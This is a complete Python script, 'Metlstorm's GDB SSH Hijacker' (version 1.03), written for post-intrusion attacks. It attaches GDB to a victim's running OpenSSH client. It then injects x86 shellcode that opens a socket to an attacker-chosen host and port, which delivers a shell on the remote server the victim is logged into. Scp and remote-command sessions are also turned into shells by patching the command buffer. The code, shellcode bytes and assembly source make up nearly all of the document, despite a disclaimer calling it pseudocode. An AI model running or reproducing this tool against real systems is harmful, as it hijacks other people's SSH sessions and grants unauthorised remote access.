#!/usr/bin/python
#
#
# Metlstorm's GDB SSH Hijacker
# 	Requires Python, GDB. Currently filled with all manner of wild 32-bit x86isms.
#
# Flames to metalstorm@storm.net.nz
#
#
# Try:
#	./ssh-jack
#	Usage: ./ssh-jack pid host port
#       	pid: process ID of target SSH client process
# 		host/port: tcp socket where you'd like the shell delivered
#
# 	Attaches a debugger to the running SSH process, convinces it to give you a shell at the remote end.
# 	Note that you must be able to ptrace the target pid; ie, be root or the same user.
# 	Use netcat to listen for the incoming shell, or equivilent.
#
#
# Support status:
#
# Reports about this list appreciated.
#
# Known to work on:
#	OpenSSH_3.8.1p1 on Debian Sarge
#	OpenSSH_3.5p1 on RH9
#
# Suspected to work on:
#	OpenSSH_3.6.1p2 on RHEL3/WBEL3
#
# Known not working (yet):
#	OpenSSH_3.4p1 on Debian Woody
#	OpenSSH_3.9p1 on Suse 9.2
#
# Unlikey to ever work:
#	OpenSSH-1.2.3 on Debian Potato	
#
# -----------------------------------------------------------------------------------------------
# LICENSE:
#  This document is covered by the GNU Free Documentation License. 
#
#      Copyright (c)  2005 Metalstorm.
#      Permission is granted to copy, distribute and/or modify this document
#      under the terms of the GNU Free Documentation License, Version 1.2
#      or any later version published by the Free Software Foundation;
#      with the Invariant Sections being "Disclaimer". A copy of the license
#      is available at http://gnu.org in the section entitled "GNU Free Documentation License".
#
# DISCLAIMER:
# This document ("Metlstorm's GDB SSH Hijacker") is a concise description of the concepts
# described in the presentation "Trust Transience: Post Intrusion SSH Hijacking" by the same
# author, expressed in python. Python is used here as a well understood pseudocode standard
# and under no circumstances does the author provide this for the purpose of conversion of 
# this pseudocode into an executable form. This document is for academic study of the concepts
# discussed in the presentation only. 
# -----------------------------------------------------------------------------------------------
#
#
# Random notes:
#
# - The protocol *requires* that you be able to open multiple sessions to the server
# - The protocol permits the server to open channels to the client, but reccomends you dont let it.
# - Wouldn't it be a neat hack to trojan the openssh tree to enable server-to-client shells? Must go and read the code and see if it's not already!

# - Note to self: The ssh_open_session2_metl fucking connects out, not listens. OMFG. I can't believe I spent two hours remember that I wrote "connect()" instead of "listen()". /me beats self around head
# - And furthermore, what class of dumbass has a parameter "safe place" offset, and doesnt fucking make a note "Oh, and I was using value n for testing" instead of just assuming that he'll remember it 6 months later. DUMBASS!
# - Further to the previous comment, I've been using one of the mainline points at 0x0804fb30 in my openssh, which is client_wait_until_can_do_something in the main client loop

# - Wonder if this'd work over an SCP? I fucking bet it would. Ixnay on the scp-push backupay? (Note: as of 1.03, implemented, functional)
#   Investigation suggests that yes it would, with some curls to address:
# 	- SSH ignores SIGWINCH when it doesn't have a pty, so the SIGWINCH-return-from-select trick doesnt work. No biggie, because a non-human is likely to be actually doing something on the channel, so we'll get a packet within a reasonable time. Still, be nice to come up with a way to think of a better way to force a return from select. All other signals are bound to SIG_IGN, or to the quit function. Perhaps just give it a SIGQUIT, and clean up the flag when we get control, before it goes and quits. We just gotta find the global:
#		static volatile sig_atomic_t received_signal = 0;
# 	in the .bss, and set it back to 0; That'd do. Easiest plan is maybe breakpoint in the signal handler, raise a signal, and just skip the signal handler (yeah, the signal handler's simple; catching a break at entry, and then just telling gdb to return)
#	- Went ahead and implemented above, but ended up discarding it in favour of a simpler solution: just go ahead and set up a SIGWINCH handler if there isn't one, that does nothing. Cleaner than scrubbing the signal handler flags, or breakpointing it and telling GDB to ret, or another implementation I toyed with, just replacing the signal handler. 
#
#	- if global Buffer command is set to something, then in ssh_session, it sends that instead of asking for a shell. in the case of scp, this is set to run the server end of scp, so we end up talking to it instead of a shell. If we can find the command Buffer struct in the .bss, then we can set it's length to 0, and we'll get a shell. We dont even have to worry about restoring it really, because an SCP is never going to ask for another. Course, this a special case of the more general 'ssh being used to execute a remote command' case, which'd be quite a likely use we'll see for ssh in a fixed, non human environment (eg, rsync, cvs etc). 
#
# So, we need to find the command buffer. SSH destructively processes argv in main, so by the time we're attached, it's not like we can just nip down to the oldest stack frame, and rummage in the stack to find argv[] and process it. 
# Alternative plan: read proc/pid/cmdline, duplicate logic of ssh command line parser, derive what the contents of the command buffer are supposed to be, and find the damn thing on the heap. All Class.
# SSH's buffer typedef is a struct like this:
# 	typedef struct {
#		u_char	*buf;		/* Buffer for data. */
#		u_int	 alloc;		/* Number of bytes allocated for data. */
#		u_int	 offset;	/* Offset of first byte containing data. */
#		u_int	 end;		/* Offset of last byte containing data. */
#	}       Buffer;
# Find one of those on the heap. 
# Implemented, works. Only fruityness is that sshd doesn't allocate a tty on the server, so your shell might feel a little raw. 

# - Strategy for automating choice of safe place - there's a select in clientloop.c, it's the only call to select in the whole ssh binary, that I can see. That's a pretty safe place. We can ask gdb where select is, find the PLT & GOT entries for select, and then find the call to select, thus locating our safe place. That's step one of making this work on a generic ssh binary, perhaps. 
# - Props to Silvio's Phrack 0x38 article.

# - Finding the stubloc - theres only one instance of 'dup() in/out/err failed'. Find it in the data segment, find references to it's address. There should be one like this:

# 804d9a0:       c7 04 24 e1 15 07 08    movl   $0x80715e1,(%esp)
# 804d9a7:       e8 84 3f 01 00          call   8061930 <fatal>

# So, given the address of the mov, find three js to it, separated by tests, and bang, the first test is
# the end of stubloc.

#        if (in < 0 || out < 0 || err < 0)
# 804d885:       85 ff                   test   %edi,%edi
# 804d887:       89 c3                   mov    %eax,%ebx
# 804d889:       0f 88 11 01 00 00       js     804d9a0 <ssh_session2_open+0x160>
# 804d88f:       85 f6                   test   %esi,%esi
# 804d891:       0f 88 09 01 00 00       js     804d9a0 <ssh_session2_open+0x160>
# 804d897:       85 c0                   test   %eax,%eax
# 804d899:       0f 88 01 01 00 00       js     804d9a0 <ssh_session2_open+0x160>
#                fatal("dup() in/out/err failed");

VERSION="1.03"


import sys
import os
import types
import signal
import time
import socket
import getopt

# Local to the file now
#import gdbmi

import re

# Disabled now we're not debugging
#from conzole import prompt

# Supress warning about hex constants with high bit set being negative. Yeah yeah, we fucking know.
import warnings
try:
	warnings.simplefilter('ignore',FutureWarning)
except AttributeError:
	pass

# ---- Staticly included gdbmi.py to make it easier to move around ----
# GDB/mi. With such optimism I read the first bits of the docs. 
# Then I read the rest, and wept.
# This is GDB/some-mi, some-hi, some just plain hack. 
# It vaugely works for what I need.
# It's only partially my fault it sucks :p

# Metl

GDB="/usr/bin/gdb"

class GDBMIAttachError(Exception):
	pass

try:
	False
except NameError:
	False = 0
	True = 1

class gdbmi:
	debug_level = 0 
	
	LOG="log"
	CONSOLE="console"
	TARGET="target"
	RESULT="result"
	MESSAGE="message"
	ASYNC_EXEC="async_exec"

	# Things that GDB says on ptrace attach that look like errors but really arn't. 
	CONNECT_ERROR_FILTER=["Failed to read a valid object file image from memory."]

	# Result codes from the mi
	R_ERR="error"
	R_RUN="running"
	R_CONN="connected"
	R_EXIT="exit"
	R_DONE="done"
	
	def __init__(self):
		self.i = None
		self.o = None
		self.REGNAMES = None
		self.connected = False

	def debug(self, data):
		if self.debug_level >= 1:
			print "DEBUG: %s" % data
	
	def write(self, data):
		if self.connected:
			self.o.write(data)
			self.o.flush()
			self.debug("Wrote: '%s'" % data)
		else:
			raise ValueError("Not connected")
	
	def command(self, command):
		self.write("%s\n" % command)
	
	def readline(self):
		if self.connected:
			i = self.i.readline()
			self.debug("Read: '%s'" % i )
			return i
		else:
			raise ValueError("Not connected")
	
	def readResponse(self):
		response = []
		response.append(self.readline())
		while response[-1] != "(gdb) \n":
			response.append(self.readline())

		r = {self.LOG:"", self.CONSOLE:"", self.TARGET:"", self.RESULT:"", self.MESSAGE:"", self.ASYNC_EXEC:""}
		for line in response:
			if line[0] == "&":
				r[self.LOG] += line[1:]
			elif line[0] == "~":
				r[self.CONSOLE] += line[1:]
			elif line[0] == "@":
				r[self.TARGET] += line[1:]
			elif line[0] == "*":
				r[self.ASYNC_EXEC] += line[1:]
			elif line[0] == "^":
				for rc in [self.R_ERR, self.R_RUN, self.R_CONN, self.R_EXIT, self.R_DONE]:
					if line[1:len(rc) + 1] == rc:
						r[self.RESULT] = rc
						break

				r[self.MESSAGE] = line[len(rc) + 6:]

		return r
		
	def connect(self, pid, bin):
		if not self.connected:
			if pid == None:
				self.o, self.i = os.popen2("%s --interpreter=mi %s" % (GDB,bin))
			else:
				self.o, self.i = os.popen2("%s --interpreter=mi -p %d %s" % (GDB, pid, bin))

			self.connected = True
			r =self.readResponse()
			#print r
			
			if len(r["log"]):
				for j in self.CONNECT_ERROR_FILTER:
					if j in r["log"]:
						return

				raise GDBMIAttachError("Unable to attach to process %d: '%s'" % (pid, self.formatGDBOutput(r["log"])))
		else:
			raise ValueError("Already connected.")
	
	def formatGDBOutput(self, s):
		"""Mangles the gdb escaping to something sensible"""
		s = s.replace("\\\\","\\")
		s = s.replace("\\n", "")
		s = s.replace("\"","")
		return s
	
	def disconnect(self):
		self.command("-target-detach")
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])
	
	
	def getSymbolAddress(self, symbol):
		""" Fucking unimplemented in gdbmi"""
		self.command("info address %s" % symbol)
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			rx = re.search("0x[0-9a-fA-F]{1,8}", r[self.CONSOLE], re.MULTILINE)
			if rx == None:
				raise ValueError("Failed to find address in '%s'" % r[self.CONSOLE])
			else:
				return rx.group()
			
		else:
			raise ValueError(r[self.MESSAGE])
	
	def insertBreak(self, addr):
		self.command("-break-insert *%s" % addr)
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			#Write code to return breakpoint number
			return True
		else:
			raise ValueError(r[self.MESSAGE])
	
	def clearBreak(self, number):
		self.command("-break-delete %d" % number)
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])

	def getSection(self, section):
		"""Returns the start and end addresses of the section named 'section'"""
		self.command("info file")
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			lines = r[self.CONSOLE].split("\n")
			for l in lines:
				rx = re.search("(?P<start>0x[0-9a-fA-F]{1,8}) - (?P<end>0x[0-9a-fA-F]{1,8}) is %s" % section, l)
				if rx != None:
					return (eval(rx.groupdict()["start"]), eval(rx.groupdict()["end"]))

			raise ValueError("Unable to locate section '%s'" % section)
				
		else:
			raise ValueError(r[self.MESSAGE])
	
	
	def cont(self):
		self.command("-exec-continue")
		r = self.readResponse()
		if r[self.RESULT] == self.R_RUN:
			return True
		else:
			raise ValueError(r[self.MESSAGE])
	
	def returnNow(self):
		self.command("-exec-return")
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])		

	def wait(self):
		r = self.readResponse()
		return r

	def waitForBreak(self):
		while True:
			r = self.wait()
			if r[self.ASYNC_EXEC] != "":
				if r[self.ASYNC_EXEC].find("breakpoint-hit") != -1: 
					break;
			self.cont()
		return r[self.ASYNC_EXEC]

	def signal(self, signum):
		"""Sends signum to debugged process"""
		self.command("signal %d" % signum)
		self.readResponse()
		return True
			

	def getRegNames(self):
		""" Gets and caches an array mapping x86 general purpose registers to their gdb reg number"""
		if self.REGNAMES == None:
			self.command("-data-list-register-names 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15")
			r = self.readResponse()
			if r[self.RESULT] == self.R_DONE:
				# Sweet. It's a perfectly eval-able python list :D
				self.REGNAMES = eval(r[self.MESSAGE][r[self.MESSAGE].find("=") + 1:])
			else:
				raise ValueError(r[self.MESSAGE])
		
		return self.REGNAMES


	def getRegs(self):
		regnames = self.getRegNames()
		regvals = {}
		for rn in range(len(regnames)):
			self.command("-data-list-register-values x %d" % rn )
			r = self.readResponse()
			if r[self.RESULT] == self.R_DONE:
				begin = r[self.MESSAGE].find("value=\"")
				end = r[self.MESSAGE][begin + 8 :].find("\"")
				regvals[regnames[rn]] = r[self.MESSAGE][begin+7:begin+8 + end]
			else:
				raise ValueError(r[self.MESSAGE])
	
		return regvals
	
	def getByte(self, addr, bytes=1):
		"""Returns a byte from memory at addr"""
		self.command("-data-read-memory %s x %d 1 %d" % (addr, bytes, bytes))
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			begin = r[self.MESSAGE].find("data=[\"")
			end = r[self.MESSAGE][begin + 8 :].find("\"")
			return r[self.MESSAGE][begin+7:begin+8 + end]
		else:
			raise ValueError(r[self.MESSAGE])
	
	def getStr(self, addr, bytes):
		"""Returns bytes at addr in a string"""
		str = ""
		for i in range(bytes):
			str += chr(eval(self.getByte(addr + i)))
		return str
	
	def setByte(self, addr, value):
		"""Sets a byte in memory at addr. That GDB/MI variable stuff is overkill for this."""
		self.command("set var {char}%s=%s" % (addr, value))
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])
	
	def setEIP(self, value):
		self.command("set var $eip=%s" % (value))
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])
	
	def interrupt(self):
		self.command("-exec-interrupt")
		r = self.readResponse()
		if r[self.RESULT] == self.R_DONE:
			return True
		else:
			raise ValueError(r[self.MESSAGE])
		

# --- End GDBMI ---



def o():
	"""Used for the inline debug shell, to singlestep"""
	g.command("x/i $eip")
	print g.readResponse()["console"]
	g.command("nexti")
	print g.readResponse()["console"]
	g.command("x/32x $esp")
	print g.readResponse()["console"]
	print g.getRegs()

def setWord(w, d,o):
	"Sets d[:2] bytes to be word w"
	for i in range(2):
		d[o +i] = (w >> (i * 8)) & 0xff
	
def setDWord(w, d,o):
	"Sets d[:4] bytes to be dword w"
	for i in range( 4):
		d[o + i] = (w >> (i * 8)) & 0xff

def findInstruction(g, seg, regex):
	"""Given range seg, walk it dissasembling, and match regex re against output"""
	for i in range(seg[0], seg[1]):
		g.command("x/i 0x%08x" % i)
		r = g.readResponse()
		rx = regex.search(r["console"])
		#print r["console"]
		if rx != None:
			return i
	
	return None

def findIntAddr(g, seg, s):
	for i in range(seg[0], seg[1]):
		if s == eval(g.getByte(i,4)):
			return i
	return None

def findDataAddr(g, seg, s):
	"""Given the data s, find it's offset in the segment seg
	Accepts a string, an integer, or a list of integers at the moment.
	"""

	look = []
	if type(s) == types.IntType:
		return findIntAddr(g, seg, s)
	if type(s) == types.ListType and type(s[0]) == types.IntType:
		found = False
		start = findIntAddr(g, seg, s[0])
		while not found and start != None:
			#print "Checking 0x%08x" % start
			for i in range(len(s[1:])):
				next = eval(g.getByte(start + (i+1) * 4, 4))
				#print " 0x%08x == 0x%08x ?" % (s[i+1], next)
				if s[i+1] != next:
					found=False
					break
				else:
					found=True
					
			if not found:
				start = findIntAddr(g, [start+(len(s) * 4), seg[1]], s[0])
				
		if found:
			return start
		else:
			return None
		
	else:
		for i in range(seg[0], seg[1]):
			d = eval(g.getByte(i))
			look.append(chr(d))
			if len(look) > len(s):
				look=look[1:]
		
			l = 0
			while l < len(look):
				if look[l] != s[l]:
					break
				l += 1

			if l == len(s):
				return i - len(s) + 1
	
	return None

def findPLTEntry(g, sym, got, plt):
	"""Given the start/end of the got and plt sections, finds the address of the PLT entry for dynamically
	linked symbol sym using debugger g."""
	
	# Okay, we could exec readelf.
	# Or use the mostexcellent elfsh
	# We could even just parse the rel.plt ourself.
	# Or... I could just bruteforce it. Which'll work without binutils and elfsh, and is easier.
	# I'll come back and make this more elegant. One day.

	# First, we find our symbol in the GOT. 

	gotentry = None
	for i in range(got[0], got[1], 4):
		if sym == eval(g.getByte(i,4)):
			gotentry = i
			#print "Found 0x%08x in GOT at 0x%08x" % (sym, i)
			break
	
	if gotentry == None:
		raise ValueError("Unable to locate 0x%08x in GOT" % sym)
	
	# Next, we find PLT entries that refer to this GOT entry
	for i in range(plt[0] + 2, plt[1] - 2, 4):
		if gotentry == eval(g.getByte(i,4)):
			# Actual calls to the PLT talk to our jmp instruction...
			pltentry = i - 2
			#print "Found 0x%08x in PLT at 0x%08x" % (sym, pltentry)
			break
	if pltentry == None:
		raise ValueError("Unable to locate 0x%08x in PLT" % gotentry)
		
	return (pltentry,gotentry)

def getArgv(pid):
	"""Given pid, opens /proc/pid/cmdline, returns it in an argv style array"""
	if type(pid) != types.IntType:
		raise TypeError("Pid must be an integer")

	# let caller catch IOExceptions and stuff.
	fp = open("/proc/%d/cmdline" % pid, "r")
	data = fp.read()
	fp.close()
	argv = data.split(chr(0))
	return argv[:-1] 

def sshArgsToCommand(argv):
	"""Given an argv array, ferret out what ssh thinks the remote command is"""

	# Parse out all normal ssh options. Assume that left over nonoption arguments
	# are a hostname, and then a remote command. 
	# AFAICT, the only place that this simplification is wrong is if we have a -o HostName 
	# option. And uh, maybe the whole if-you-invoke-ssh-via-a-symlink-called-a-hostname thing. 
	# But that's just silly ;)
	
	o, a = getopt.getopt(argv[1:], "1246ab:c:e:fgi:kl:m:no:p:qstvxACD:F:I:L:NPR:TVXY")
	if len(a) > 1:
		cmd = reduce(lambda x,y: "%s %s" % (x, y), a[1:])
	else:
		cmd = None
	
	return cmd

def findSSHBuffer(g, s, seg):
	"""Given string s, find an SSH Buffer struct in section seg that contains string s. 
	Assume simple case that s is at the beginning of the buffer for now.
	Find
	typedef struct {
		u_char	*buf;		/* Buffer for data. */
		u_int	 alloc;		/* Number of bytes allocated for data. */
		u_int	 offset;	/* Offset of first byte containing data. */
		u_int	 end;		/* Offset of last byte containing data. */
	}       Buffer;
	Default alloc size is 4096, hard coded.
	"""
	
	#Hrm. When we're using this in the code, we destroy the value in end, and dont 
	#restore it, because we've released control of the app when the modified value
	#is used. The length check seemed like a good idea, but is really only a speed
	#optimization. 

	DEFAULT_ALLOC=4096

	if len(s) < DEFAULT_ALLOC:
		alloc = DEFAULT_ALLOC
	else:
		alloc = len(s)
	
	found = False
	startloc = seg[0]
	
	while not found and (startloc + 12) <= seg[1]:
		possible = findDataAddr(g, [startloc, seg[1]], [alloc, 0])  #len(s)] ) See note above.
		str = ""
		if possible != None:
			ptr = eval(g.getByte(possible -4, 4))
			if ptr > 0:
				str = g.getStr(ptr, len(s))
			
			if str == s:
				found = True
			else:
				startloc = possible + 12
		else:
			break
	
	if found:
		return possible - 4
	else:
		return None
	
	

def usage(): 
	print "Usage: %s pid host port" % (sys.argv[0])
	print "       pid: process ID of target SSH client process"
	print " host/port: tcp socket where you'd like the shell delivered"
	print 
	print " Attaches a debugger to the running SSH process, convinces it to give you a shell at the remote end."
	print " Note that you must be able to ptrace the target pid; ie, be root or the same user."
	print " Use netcat to listen for the incoming shell, or equivilent."
	print " Version: %s" % VERSION
	sys.exit(1)

testmode = False
if len(sys.argv) == 3:
	if sys.argv[1] == "-t":
		# Test mode. Just run the pattern matcher stuff.
		# Of no interest to anyone but me. 
		bin = sys.argv[2]
		testmode = True
	else:
		usage()

elif len(sys.argv) < 4:
	usage()
else:
	pid = int(sys.argv[1])
	hostname = sys.argv[2]
	port = int(sys.argv[3])


g = gdbmi()

if not testmode:
	try:
		bin = os.path.realpath("/proc/%d/exe"% pid)
	except AttributeError:
		bin = "/proc/%d/exe"% pid
	print "Connecting to %s running as pid %d..." % (bin, pid)

	try:
		g.connect(pid, "/proc/%d/exe" % pid)
		print "Connected"
	except GDBMIAttachError, i:
		print i
		sys.exit(1)
else:
	try:
		g.connect(None, bin)
		print "Connected"
	except GDBMIAttachError, i:
		print i
		sys.exit(1)

if not testmode:
	print "Ferreting out some useful symbols..."
	syms = {}
	for sym in ["socket", "connect", "select"]:
		syms[sym] = eval(g.getSymbolAddress(sym))
		print "Located libc symbol '%s' at 0x%08x" % (sym, syms[sym])

sections = {}
for section in [".got", ".plt", ".text", ".rodata", ".bss"]:
	sections[section] = g.getSection(section)
	print "Located section '%s' 0x%08x to 0x%08x" % (section, sections[section][0], sections[section][1])

if not testmode:
	plt={}
	got={}
	for s in syms.keys():
		plt[s],got[s] = findPLTEntry(g, syms[s], sections[".got"], sections[".plt"])
		print "Resolved dynamic symbol '%s' at PLT: 0x%08x GOT: 0x%08x" % (s, plt[s], got[s])
# Choose where we're going to break it the first time. 
# There's only one call to select, in a good place, so that sounds like a winner.
#select = findPLTEntry(g, syms["select"], sections[".got"], sections[".plt"])
	safebreak = plt["select"]


# Check to see if we have a remote command

print "Checking to see if we're executing a remote command..."

args = getArgv(pid)
cmd = sshArgsToCommand(args)
if cmd == None:
	print "Nope, normal shell."
else:
	print "Remote command: '%s'" % cmd
	print "Locating struct Buffer containing remote command...",
	
	cmdbufloc = findSSHBuffer(g, cmd, sections[".bss"])
	if cmdbufloc == None:
		print "NOT FOUND"
		sys.exit(1)
	else:
		print "0x%08x" % cmdbufloc
		print "Patching remote command buffer so we get a shell... %s" % (g.getByte(cmdbufloc+12, 4)),
		
		for i in range(4):
			g.setByte(cmdbufloc+12 + i, 0)
		print " -> %s" % (g.getByte(cmdbufloc+12, 4))

		print "Pick a ret, any ret...",
		regex = re.compile("ret")
		aret = findInstruction(g, sections[".text"], regex) 
		if aret == None:
			print "NOT FOUND (yeah right)"
			sys.exit(1)
		print "0x%08x" % aret
		
		syms["signal"] = eval(g.getSymbolAddress("signal"))
		print "Located libc symbol '%s' at 0x%08x" % ("signal", syms["signal"])

		sigwinchhandler=aret
		print "Setting SIGWINCH up the bomb",
		g.command("print 0x%08x(%d, 0x%08x)" % (syms["signal"], signal.SIGWINCH, sigwinchhandler))
		g.readResponse()
		print "0x%08x" % sigwinchhandler

print "Locating stub injection point..."
print "Phase 1: Find magic string in .rodata...",
sys.stdout.flush()
# Find the right place for us to inject the stub. 
magic = "dup() in/out/err failed"
#magic = "du"
magicloc = findDataAddr(g, sections[".rodata"], magic)
if magicloc == None:
	print "NOT FOUND"
	sys.exit(1)

print "0x%08x" % magicloc

print "Phase 2: Find where magic string is used...",
sys.stdout.flush()
printfloc = findDataAddr(g, sections[".text"], magicloc)
if printfloc == None:
	print "NOT FOUND"
	sys.exit(1)
print "0x%08x" % printfloc

print "Phase 3: Find three jump 0x%08x instructions..." % (printfloc - 3),
regex = re.compile("j.\s+0x%x" % (printfloc -3))
js1 = findInstruction(g, (printfloc - 3 - 1024, printfloc - 3), regex) 
if js1 == None:
	print "NOT FOUND"
	sys.exit(1)

print "0x%08x" % js1,
js2 = findInstruction(g, (js1 + 8, js1+9), regex) 
if js2 == None:
	print "NOT FOUND"
	sys.exit(1)
print "0x%08x" % js2,
js3 = findInstruction(g, (js2 + 8, js2+9), regex) 
if js3 == None:
	print "NOT FOUND"
	sys.exit(1)
print "0x%08x" % js3

print "Phase 4: Check that there's a test 4 bytes before JS1...",

test = findInstruction(g, (js1 - 4, js1 - 3), re.compile("test"))
if test == None:
	print "NOT FOUND"
	sys.exit(1)
print "0x%08x" % test

print "Phase 5: Determine size of local stack...",
regex = re.compile("sub\s+\$(?P<sub>0x[0-9a-f]{1,2}),%esp")
subesp = findInstruction(g, (js1 - 0x50, js1), regex)
if subesp == None:
	print "NOT FOUND"
	sys.exit(1)
print "at 0x%08x:" % subesp,
g.command("x/i 0x%08x" % subesp)
r = g.readResponse()
rx = regex.search(r["console"])
if rx == None:
	print "NOT FOUND"
	sys.exit(1)

stacksize = eval(rx.groupdict()["sub"])

print "%d bytes" % stacksize


if testmode:
	sys.exit(0)

# Now, we want to generate some code that when patched into ssh_session2_open, replaces

#	if (stdin_null_flag) {
#		in = open(_PATH_DEVNULL, O_RDONLY);
#	} else {
#		in = dup(STDIN_FILENO);
#	}
#	out = dup(STDOUT_FILENO);
#	err = dup(STDERR_FILENO); 

# with:

#	struct sockaddr_in sa;
#
#	in = socket(PF_INET, SOCK_STREAM, 0);
#	sa.sin_family = AF_INET;
#	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
#	sa.sin_port = htons(1337);
#	connect(in, (struct sockaddr *)&sa, sizeof(sa));
#
#	out = dup(in);
#	err = dup(out);

# Patching in user configurable address/port. 

# Here's what I fed nasm to generate below:
"""
; Magic stub code

BITS 32

; preamble. Redirected execution starts here

pushf
pusha
call evil		; Do the evil.
popa
popf
nop			; We drop a break here to catch the end 

sa:
sin_family: 	dw 2	; AF_INET
sin_port: 	resw 1
s_addr:		resd 1

socket:
	resd 1	; socket PLT entry
connect:
	resd 1	; connect PLT entry

evil:
	push ebp	; function start
	mov ebp,esp
	push edi
	push esi
	push ebx
	sub esp,0x2c	; This is replaced at runtime, if necessary.

	; Layout for later is
	; in: 	edi
	; out: 	esi
	; err:	eax
	; This does change between binaries, and isn't yet automatically
	; fixed up. This is one of the reasons we're broken on SuSE at this point.
	; Them and their crazy 0day gcc. I'm amazed it works at all.

	push ebx
	mov ebx,[ebp+4]	; get location of call, so we can find sa
	inc ebx
	inc ebx
	inc ebx
	
	push 0
	push 1
	push 2
	;call [socket]	; socket(PF_INET, SOCK_STREAM, 0)
	call [ ebx + 8 ]
	mov edi,eax	; socket return into 'in', which is in edi
	add esp,0x0c

	push 0x10	; sizeof(sockaddr_in)
	push ebx	; (struct sockaddr *)&sa
	push edi	; in
	;call [connect]	; connect(in, (struct sockaddr *)&sa, sizeof(sa));
	call [ebx + 0x0c]
	add esp,0xc

	pop ebx
	mov eax,edi
	mov esi,edi
	
	; and now we mesh with the rest of the function. 	
"""

#
# pushf, pusha, call, popa, popf, nop (break-target), function
# When we break, we point the eip at the beginning of this.
# We whack a break into the nop after the popa,popf, so we can catch the return of the function. 
# 
#
stub = [
  0x9c, 0x60, 0xe8, 0x13, 0x00, 0x00, 0x00, 0x61, 0x9d, 0x90, 0x02, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x55, 0x89, 0xe5, 0x57, 0x56, 0x53, 0x81, 0xec, 0x00, 0x00,
  0x00, 0x00, 0x53, 0x8b, 0x5d, 0x04, 0x43, 0x43, 0x43, 0x68, 0x00, 0x00,
  0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x68, 0x02, 0x00, 0x00, 0x00,
  0xff, 0x53, 0x08, 0x89, 0xc7, 0x81, 0xc4, 0x0c, 0x00, 0x00, 0x00, 0x68,
  0x10, 0x00, 0x00, 0x00, 0x53, 0x57, 0xff, 0x53, 0x0c, 0x81, 0xc4, 0x0c,
  0x00, 0x00, 0x00, 0x5b, 0x89, 0xf8, 0x89, 0xfe
  ]

stubloc = test - len(stub)

print "Injection point located: 0x%08x" % stubloc

print "Patching PLT locs and parameters into stub..."
datastart =10 

setWord(socket.AF_INET, stub, datastart)
setWord(socket.htons(port), stub, datastart + 2)

host = socket.inet_aton(socket.gethostbyname(hostname))
stub[datastart + 4] = ord(host[0])
stub[datastart + 5] = ord(host[1])
stub[datastart + 6] = ord(host[2])
stub[datastart + 7] = ord(host[3])

setDWord(plt["socket"], stub,datastart + 0x08 )
setDWord(plt["connect"], stub,datastart +0x0c)

# Patch in stack size
stub[datastart + 24] = stacksize

dump = ""
for b in range(len(stub)):
	if not b % 16:
		dump = "%s\n" % dump
	dump = "%s0x%02x " % (dump , stub[b])

print "Stub:%s" % dump

print "Inserting breakpoint at safe place 0x%08x" % safebreak
g.insertBreak(safebreak)


print "Continuing execution."
g.cont()


print "Smacking it upside the head with a SIGWINCH to wake it up..."
os.kill(pid, signal.SIGWINCH)

print "Waiting for breakpoint..."
g.waitForBreak()
print "Arrived at safe place. Initiating evil"
print "Saving EIP... ",
oldeip = g.getRegs()["eip"]
print "%s" % oldeip

print "Saving %d bytes of code that we're about to overwrite at 0x%08x" % (len(stub), stubloc)
oldcode = []
for i in range(len(stub)):
	oldcode.append(g.getByte("0x%08x" % (stubloc + i)))

print "Injecting %d bytes of stub at 0x%08x" % (len(stub), stubloc)
for i in range(len(stub)):
	g.setByte("0x%08x" % (stubloc + i), "0x%02x" % stub[i])

print "Clearing breakpoint"
g.clearBreak(1)

print "Setting new breakpoint at 0x%08x" % (stubloc + 9 ) # There's a nop here, specially for this purpose.
g.insertBreak("0x%08x" % (stubloc + 9 ))
print "Setting EIP to 0x%08x" % stubloc
g.setEIP("0x%08x" % stubloc)
print "Continuing execution."

g.cont()
print "Waiting for breakpoint..."
g.waitForBreak()

print "Returned from our stub! Woot!"
print "Restoring %d bytes of old code that we overwrote at 0x%08x" % (len(stub), stubloc)
for i in range(len(stub)):
	g.setByte("0x%08x" % (stubloc + i), oldcode[i])

# Oh yeah. This cleanup actually happens *before* we use the modifed buffer, so uh, just leave it modified. 
# This busts opening multiple shells over an scp/remote-command-execing session, becauase the code
# that finds this expects it to be in it's original form. Er. Chicken. Meet Egg. 
# 'Fixed' this by just removing the size check in the Buffer locator above. Not classy, but it was just
# a speed optimization anyway.
#if cmd != None:
#	print "Restoring command buffer..."
#	for i in range(4):
#		g.setByte(cmdbufloc + 12 + i, (len(cmd) >> i) & 0xff)
	
print "Resetting EIP"
g.setEIP(oldeip)
print "Clearing break"
g.clearBreak(3)
print "Finished cleaning up"

print "Detaching from process."
g.disconnect()

print "Smacking it upside the head with a SIGWINCH to wake it up..."
os.kill(pid, signal.SIGWINCH)


print "Hope your shell arrived on %s:%d" % (hostname, port)
